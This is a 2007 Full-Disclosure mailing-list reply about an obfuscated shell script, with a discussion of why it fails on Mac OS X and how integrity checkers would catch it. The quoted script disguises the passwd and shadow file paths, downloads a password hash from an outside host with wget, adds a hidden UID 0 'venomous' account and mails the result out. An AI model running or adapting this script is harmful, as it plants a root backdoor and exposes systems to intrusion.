Re: Linux big bang theory....

[Andrew Farmer <andfarm () gmail com>]

On 13 May 07, at 19:43, Valdis.Kletnieks () vt edu wrote:
> On Mon, 14 May 2007 08:47:39 +0800, Just1n T1mberlake said:
> > Confirmed Macosx is not vulnerable to this.
>
> Not this variant, anyhow.  Note that if you go digging around, you can
> probably find other places to seed $happy, $days, $who, and $what  
> from.
>
> > > happy=`awk 'NR==59 {gsub(/"/,"");print $3}' /usr/include/paths.h`
> > > days=`awk 'NR==74 {gsub(/,/,"");print $8}' /usr/include/sysexits.h`
> > > guitar=`wget -qO - http://www.infiltrated.net/guitar|sed -n '1p'`
> > > sed -n '1p' $happy|awk -F ":"
> > > 'BEGIN{OFS=":"}{$1="venomous"}1{$2=""}2' >> $days
> > > sed -n '1p' $days|sed 's/[^:]*:/venomous:/'|awk -vguitar=$guitar -F
> > > ":" 'BEGIN{OFS=":"}{$2='guitar'}2' >> $happy
> > > what=`sed -n '58p' /usr/include/sysexits.h |awk '{print $5}'`
> > > who=`sed -n '60p' /usr/include/linux/wireless.h |awk 'gsub(/,/,
> > > ""){print $4" -a"}'`
> > > echo "Enter your email address" ; read ans ; where=$ans
> > > $who | $what $where
>
> One carefully coded 'find ... | xargs egrep' will get you the  
> needed info
> to produce a version that will work on OSX.

Even if you manage to figure out a way to generate the string "/etc/ 
passwd", though, writing to that won't won't do you any good:

/etc/passwd:
# Note that this file is consulted when the system is running in  
single-user
# mode.  At other times this information is handled by one or more of:
# lookupd DirectoryServices
# By default, lookupd gets information from NetInfo, so this file will
# not be consulted unless you have changed lookupd's configuration.
# This file is used while in single user mode.

You'd have to write something that'd execute niutil.

More to the point, though, even if the presence of this script  
doesn't trigger integrity checkers (yet), the presence of a non-root  
UID 0 account *definitely* will. No amount of obfuscation will change  
this. Same goes for suid binaries appearing out of nowhere. I don't  
know if changes to the sudoers file are tracked by most tools yet,  
but I have no doubt that the appearance of a rootkit that maintained  
access via sudoers would change that pretty quickly.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/